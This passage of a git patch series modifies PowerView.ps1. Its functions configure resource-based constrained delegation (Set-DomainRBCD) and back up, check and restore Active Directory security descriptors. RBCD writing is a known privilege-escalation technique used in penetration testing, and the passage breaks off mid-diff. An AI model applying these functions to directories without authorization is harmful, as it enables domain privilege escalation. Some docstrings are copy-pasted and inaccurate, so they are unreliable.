$_ + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Set-DomainRBCD] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + if ($Filter -and $Filter -ne '') { + $RBCDSearcher.filter = "(&$Filter)" + } + Write-Verbose "[Set-DomainRBCD] Set-DomainRBCD filter string: $($RBCDSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $RBCDSearcher.FindOne() } + else { $Results = $RBCDSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + $Object = $_ + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw') + if ($SDBytes) { + $Entry = $Object.GetDirectoryEntry() + try { + Write-Verbose "[Set-DomainRBCD] Setting 'msds-allowedtoactonbehalfofotheridentity' to '$SDBytes' for object '$($Object.Properties.samaccountname)'" + $Entry.put('msds-allowedtoactonbehalfofotheridentity', $SDBytes) + $Entry.commitchanges() + } + catch { + Write-Warning "[Set-DomainRBCD] Error setting/replacing properties for object '$($Object.Properties.samaccountname)' : $SDBytes" + } + + } + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Set-DomainRBCD] Error disposing of the Results object: $_" + } + } + $RBCDSearcher.dispose() + } + } +} + +function Get-IdentityFilterString { +<# +.SYNOPSIS + +Helper function to retrieve the IdentityFilter string to avoid code duplication. +Pulled from @harmj0y's Get-DomainUser function. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: None + +.PARAMETER Identity + +A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. windows10.testlab.local). Wildcards accepted. + +.EXAMPLE + +Get-IdentityFilterString -Identity $Identity + +Returns an LDAP search string for provided identites +#> + [OutputType([String])] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('SamAccountName', 'Name', 'DNSHostName')] + [String[]] + $Identity + ) + + BEGIN { + $SearcherArguments = @{} + } + + PROCESS { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^(CN|OU|DC)=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-IdentityFilterString] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + if (-not $ObjectSearcher) { + Write-Warning "[Get-IdentityFilterString] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $ObjectName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$ObjectName)" + $SearcherArguments['Domain'] = $ObjectDomain + Write-Verbose "[Get-IdentityFilterString] Extracted domain '$ObjectDomain' from '$IdentityInstance'" + } + } + elseif ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + } + else { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + $Filter + } +} + + function Get-DomainDCSync { <# @@ -21354,8 +21671,8 @@ Get-DomainDCSync Returns accounts that have DCSync privileges in current domain. #> - [OutputType('PowerView.Computer')] - [OutputType('PowerView.Computer.Raw')] + [OutputType('PowerView.ADObject')] + [OutputType('PowerView.ADObject.Raw')] [CmdletBinding()] Param ( [Switch] @@ -21568,6 +21885,220 @@ Returns accounts that have DCSync privileges in current domain. } } +function Set-DomainObjectSD { +<# +.SYNOPSIS + +Returns the ACLs associated with a specific active directory object. By default +the DACL for the object(s) is returned, but the SACL can be returned with -Sacl. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER InputFile + +Input file containing the SD's to be restored in the CSV format that Get-DomainObjectSD outputs. + +.PARAMETER SDDLString + +SDDL String to use to restore the SD for Object(s) specified by Identity. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Set-DomainObjectAcl -Identity charlie.clark -Domain testlab.local -SDDLString "O:S-1-5-21-2042794111-3163024120-2630140754-512G:S-1-5-21-2042794111-3163024120-2630140754-512D:AI(OA;;RP;4c..." + +Set the SD for the charlie.clark user in the testlab.local domain to +the SD string specified by SDDLString. + +.EXAMPLE + +Set-DomainObjectSD -InputFile .\backup-sds.csv + +Restore all of the SD's contained within the file .\backup-sds.csv. + +.OUTPUTS + +PowerView.ACL + +Custom PSObject with ACL entries. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ACL')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, + + [String] + $InputFile, + + [String] + $SDDLString, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{ + 'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid' + } + + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $Searcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + if ($Searcher) { + $RestoreTargets = @{} + $Filter = '' + if ($PSBoundParameters['InputFile']) { + try { + Import-Csv $InputFile | ForEach-Object { + $RestoreTargets.Add($_.ObjectSID, $_.ObjectSDDL) + } + } + catch { + Write-Warning "[Set-DomainObjectSD] Unable to read $InputFile" + } + $RestoreTargets.keys | Get-IdentityFilterString | ForEach-Object { + $Filter += $_ + } + } + elseif ($Identity -and $SDDLString) { + $SDDLObject = New-Object PSObject + $SDDLObject | Add-Member "ObjectSID" $ObjectSid + $SDDLObject | Add-Member "ObjectSDDL" $SecurityDescriptor.GetSddlForm(15) + } + if ($Filter) { + $Searcher.filter = "(|$Filter)" + $Results = $Searcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Object = $_ + + if ($Object.Properties.objectsid -and $Object.Properties.objectsid[0]) { + $ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.Properties.objectsid[0],0)).Value + } + else { + $ObjectSid = $Null + } + if ($PSBoundParameters['InputFile']) { + $SDDLString = $RestoreTargets.$ObjectSid + } + + # Build Raw SD + $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $SDDLString + $SDBytes = New-Object byte[] ($SD.BinaryLength) + $SD.GetBinaryForm($SDBytes, 0) + + $Entry = $Object.GetDirectoryEntry() + try { + Write-Verbose "[Set-DomainObjectSD] Setting 'ntsecuritydescriptor' to '$SDBytes' for object '$($Object.Properties.samaccountname)'" + $Entry.InvokeSet('ntsecuritydescriptor', $SDBytes) + $Entry.commitchanges() + } + catch { + Write-Warning "[Set-DomainObjectSD] Error setting security descriptor for object '$($Object.Properties.samaccountname)' : $SDBytes" + Write-Warning "[Set-DomainObjectSD] Make sure you have Owner privileges" + } + + } + } + } + } + +} + ######################################################## From 4699aa7a7dcc7a1b2a05b7c70259059937f597da Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Wed, 11 Nov 2020 23:55:02 +0000 Subject: [PATCH 11/58] Removed the -OutputSDDL argument from Get-DomainObjectAcl and added a Get-DomainObjectSD function, which outputs a custom PS object containing the object SID and SDDL string and can write to a file, also added a -Owner function to list owners of user objects --- Recon/PowerView.ps1 | 212 ++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 193 insertions(+), 19 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index b53e7e3c..8a7d0713 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -3190,7 +3190,9 @@ A custom PSObject with LDAP hashtable properties translated. # $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 if ($Descriptor.Owner) { - $ObjectProperties['Owner'] = $Descriptor.Owner + $ObjectProperties['OwnerSID'] = $Descriptor.Owner + $OwnerObject = Get-DomainObject $Descriptor.Owner + $ObjectProperties['OwnerName'] = $OwnerObject.samaccountname } if ($Descriptor.Group) { $ObjectProperties['Group'] = $Descriptor.Group @@ -4951,6 +4953,10 @@ Switch. Return user accounts with "Do not require Kerberos preauthentication" se Return only user accounts that have not had a password change for at least the specified number of days. +.PARAMETER Owner + +Return the owner information of the user object. + .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. @@ -5139,6 +5145,9 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. [Int] $PassLastSet, + [Switch] + $Owner, + [ValidateNotNullOrEmpty()] [String] $Domain, @@ -5205,12 +5214,14 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['Owner']) { $SearcherArguments['Properties'] = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid' } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Owner']) { $SearcherArguments['SecurityMasks'] = 'Owner' } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $UserSearcher = Get-DomainSearcher @SearcherArguments @@ -8127,10 +8138,6 @@ Switch. Resolve GUIDs to their display names. A specific set of rights to return ('All', 'ResetPassword', 'WriteMembers'). -.PARAMETER OutputSDDL - -Output the SDDL string of the whole security descriptor into an output file for backup in case it needs to be restored - .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. @@ -8221,9 +8228,6 @@ Custom PSObject with ACL entries. [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync', 'AllExtended')] $RightsFilter, - [String] - $OutputSDDL, - [ValidateNotNullOrEmpty()] [String] $Domain, @@ -8358,17 +8362,6 @@ Custom PSObject with ACL entries. try { $SecurityDescriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 - if ($PSBoundParameters['OutputSDDL']) { - try { - $SDDLObject = New-Object PSObject - $SDDLObject | Add-Member "ObjectSID" $ObjectSid - $SDDLObject | Add-Member "ObjectSDDL" $SecurityDescriptor.GetSddlForm(15) - Export-Csv -InputObject $SDDLObject -Path $OutputSDDL - } - catch { - Write-Warning "[Get-DomainObjectAcl] Unable to write SD information to $OutputSDDL" - } - } $SecurityDescriptor | ForEach-Object { if ($PSBoundParameters['Sacl']) {$_.SystemAcl} else {$_.DiscretionaryAcl} } | ForEach-Object { $Continue = $False $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] @@ -21885,6 +21878,186 @@ Returns accounts that have DCSync privileges in current domain. } } +function Get-DomainObjectSD { +<# +.SYNOPSIS + +Returns the ACLs associated with a specific active directory object. By default +the DACL for the object(s) is returned, but the SACL can be returned with -Sacl. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER OutFile + +Output file of the SD's to be backed up in the CSV format. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Set-DomainObjectAcl -Identity charlie.clark -Domain testlab.local -SDDLString "O:S-1-5-21-2042794111-3163024120-2630140754-512G:S-1-5-21-2042794111-3163024120-2630140754-512D:AI(OA;;RP;4c..." + +Set the SD for the charlie.clark user in the testlab.local domain to +the SD string specified by SDDLString. + +.EXAMPLE + +Set-DomainObjectSD -InputFile .\backup-sds.csv + +Restore all of the SD's contained within the file .\backup-sds.csv. + +.OUTPUTS + +PowerView.ACL + +Custom PSObject with ACL entries. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ACL')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, + + [String] + $OutFile, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{ + 'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid' + } + + $SearcherArguments['SecurityMasks'] = 'Dacl' + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $Searcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + if ($Searcher) { + $Filter = '' + $Identity | Get-IdentityFilterString | ForEach-Object { + $Filter += $_ + } + Write-Verbose "[Get-DomainObjectSD] Using filter: $Filter" + if ($Filter) { + $Searcher.filter = "(|$Filter)" + $Objects = @() + $Results = $Searcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Object = $_.Properties + + if ($Object.objectsid -and $Object.objectsid[0]) { + $ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value + } + else { + $ObjectSid = $Null + } + + $SecurityDescriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 + $SDDLObject = New-Object PSObject + $SDDLObject | Add-Member "ObjectSID" $ObjectSid + $SDDLObject | Add-Member "ObjectSDDL" $SecurityDescriptor.GetSddlForm(15) + $Objects += $SDDLObject + $SDDLObject + } + if ($PSBoundParameters['OutFile']) { + try { + $Objects | Export-Csv $OutFile + } + catch { + Write-Warning "[Get-DomainObjectSD] Unable to write $OutFile" + } + } + } + } + } +} + + function Set-DomainObjectSD { <# .SYNOPSIS @@ -22027,6 +22200,7 @@ Custom PSObject with ACL entries. 'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid' } + $SearcherArguments['SecurityMasks'] = 'Dacl' if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } From 4fa09d97d771c2c7b9b3089efcdef678edc93940 Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Thu, 12 Nov 2020 00:13:11 +0000 Subject: [PATCH 12/58] fixed writing multiple SD's to a file and commented out domain searcher code from Get-IdentityFilterString for now --- Recon/PowerView.ps1 | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 8a7d0713..8c4ec3d7 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -21545,10 +21545,10 @@ Returns an LDAP search string for provided identites # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-IdentityFilterString] Extracted domain '$IdentityDomain' from '$IdentityInstance'" - $SearcherArguments['Domain'] = $IdentityDomain - if (-not $ObjectSearcher) { - Write-Warning "[Get-IdentityFilterString] Unable to retrieve domain searcher for '$IdentityDomain'" - } + #$SearcherArguments['Domain'] = $IdentityDomain + #if (-not $ObjectSearcher) { + #Write-Warning "[Get-IdentityFilterString] Unable to retrieve domain searcher for '$IdentityDomain'" + #} } } elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { @@ -21561,7 +21561,7 @@ Returns an LDAP search string for provided identites $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) $ObjectName = $IdentityInstance.Split('\')[1] $IdentityFilter += "(samAccountName=$ObjectName)" - $SearcherArguments['Domain'] = $ObjectDomain + #$SearcherArguments['Domain'] = $ObjectDomain Write-Verbose "[Get-IdentityFilterString] Extracted domain '$ObjectDomain' from '$IdentityInstance'" } } @@ -21948,13 +21948,13 @@ Restore all of the SD's contained within the file .\backup-sds.csv. .OUTPUTS -PowerView.ACL +PSObject Custom PSObject with ACL entries. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] - [OutputType('PowerView.ACL')] + [OutputType([PSObject])] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] @@ -22046,7 +22046,7 @@ Custom PSObject with ACL entries. } if ($PSBoundParameters['OutFile']) { try { - $Objects | Export-Csv $OutFile + $Objects | ForEach-Object { Export-Csv -InputObject $_ -Path $OutFile -Append } } catch { Write-Warning "[Get-DomainObjectSD] Unable to write $OutFile" From 2b9d42acd781ab0e59a8dcf3286cdd993fd08f2d Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Thu, 12 Nov 2020 01:02:47 +0000 Subject: [PATCH 13/58] Added -Clear param to Set-DomainRBCD to remove the RBCD config --- Recon/PowerView.ps1 | 31 +++++++++++++++++++++---------- 1 file changed, 21 insertions(+), 10 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 8c4ec3d7..95826ad1 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5214,7 +5214,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } - if ($PSBoundParameters['Owner']) { $SearcherArguments['Properties'] = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid' } + if ($PSBoundParameters['Owner']) { $SearcherArguments['Properties'] = '*' } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } @@ -21225,7 +21225,7 @@ Returns the RBCD configuration for accounts in current domain. $Delegated = Get-DomainObject $_.SecurityIdentifier $RBCDObject | Add-Member "DelegatedName" $Delegated.samaccountname $RBCDObject | Add-Member "DelegatedType" $Delegated.samaccounttype - $RBCDObject | Add-Member "DelegatedSID" $Delegated.objectsid + $RBCDObject | Add-Member "DelegatedSID" $_.SecurityIdentifier $RBCDObject | Add-Member "DelegatedAccountControl" $Delegated.useraccountcontrol $RBCDObject | Add-Member "DelegatedDistinguishedName" $Delegated.distinguishedname @@ -21264,6 +21264,10 @@ or a dns host name (e.g. windows10.testlab.local). Wildcards accepted. The accounts that are going to be allowed to delegate to this account(s) specified by Identity. This can be a pipe '|' separated list. +.PARAMETER Clear + +Remove the contents of the msds-allowedtoactonbehalfofotheridentity attribute. + .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. @@ -21336,6 +21340,9 @@ Configured RBCD on Computer1 to allow Computer2 and Computer3 delegation rights. [String] $DelegateFrom, + [Switch] + $Clear, + [ValidateNotNullOrEmpty()] [String] $Domain, @@ -21449,6 +21456,7 @@ Configured RBCD on Computer1 to allow Computer2 and Computer3 delegation rights. } + $Identity | Get-IdentityFilterString | ForEach-Object { $IdentityFilter += $_ } @@ -21470,18 +21478,21 @@ Configured RBCD on Computer1 to allow Computer2 and Computer3 delegation rights. $Results | Where-Object {$_} | ForEach-Object { $Object = $_ $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw') - if ($SDBytes) { - $Entry = $Object.GetDirectoryEntry() - try { - Write-Verbose "[Set-DomainRBCD] Setting 'msds-allowedtoactonbehalfofotheridentity' to '$SDBytes' for object '$($Object.Properties.samaccountname)'" + $Entry = $Object.GetDirectoryEntry() + try { + Write-Verbose "[Set-DomainRBCD] Setting 'msds-allowedtoactonbehalfofotheridentity' to '$SDBytes' for object '$($Object.Properties.samaccountname)'" + if ($SDBytes) { $Entry.put('msds-allowedtoactonbehalfofotheridentity', $SDBytes) - $Entry.commitchanges() } - catch { - Write-Warning "[Set-DomainRBCD] Error setting/replacing properties for object '$($Object.Properties.samaccountname)' : $SDBytes" + elseif ($PSBoundParameters['Clear']) { + $Entry.Properties['msds-allowedtoactonbehalfofotheridentity'].Clear() } - + $Entry.commitchanges() + } + catch { + Write-Warning "[Set-DomainRBCD] Error setting/replacing properties for object '$($Object.Properties.samaccountname)' : $SDBytes" } + } if ($Results) { try { $Results.dispose() } From 73ad3dc2557c2800dfc8899e6e21013642c2f5bd Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Thu, 12 Nov 2020 01:12:51 +0000 Subject: [PATCH 14/58] fixed and tested supplying identity and sddlstring for Set-DomainObjectSD on cmdline --- Recon/PowerView.ps1 | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 95826ad1..37151b9e 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -22241,9 +22241,9 @@ Custom PSObject with ACL entries. } } elseif ($Identity -and $SDDLString) { - $SDDLObject = New-Object PSObject - $SDDLObject | Add-Member "ObjectSID" $ObjectSid - $SDDLObject | Add-Member "ObjectSDDL" $SecurityDescriptor.GetSddlForm(15) + $Identity | Get-IdentityFilterString | ForEach-Object { + $Filter += $_ + } } if ($Filter) { $Searcher.filter = "(|$Filter)" From 34cb8ae4fb2695f16ba1cfb93350adfb64fcf575 Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Thu, 12 Nov 2020 13:47:48 +0000 Subject: [PATCH 15/58] added -Check argument to Get-DomainObjectSD which will check the SD of the object against the one provided, if it is different it'll output the SDDLObject otherwise it will just print a warning that it is the same --- Recon/PowerView.ps1 | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 37151b9e..4b6c96f5 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -21910,6 +21910,10 @@ Wildcards accepted. Output file of the SD's to be backed up in the CSV format. +.PARAMETER Check + +Check the SD with the provided SD and report if it's the same or different. + .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. @@ -21976,6 +21980,9 @@ Custom PSObject with ACL entries. [String] $OutFile, + [String] + $Check, + [ValidateNotNullOrEmpty()] [String] $Domain, @@ -22053,7 +22060,13 @@ Custom PSObject with ACL entries. $SDDLObject | Add-Member "ObjectSID" $ObjectSid $SDDLObject | Add-Member "ObjectSDDL" $SecurityDescriptor.GetSddlForm(15) $Objects += $SDDLObject - $SDDLObject + if ($PSBoundParameters['Check'] -and $Check -eq $SDDLObject.ObjectSDDL) { + Write-Warning "[Get-DomainObjectSD] SD for $($Object.samaccountname) is the same as the one provided" + } + else { + Write-Warning "[Get-DomainObjectSD] SD for $($Object.samaccountname) is different to the one provided" + $SDDLObject + } } if ($PSBoundParameters['OutFile']) { try { From 0da1a53a28e61fc61fd999313a8a4edd7f259d40 Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Thu, 12 Nov 2020 15:14:21 +0000 Subject: [PATCH 16/58] added support for -Check argument to be a file containing different SDs to check if all of them are the same or different --- Recon/PowerView.ps1 | 28 ++++++++++++++++++++++++---- 1 file changed, 24 insertions(+), 4 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 4b6c96f5..1cbfe914 100755 --- 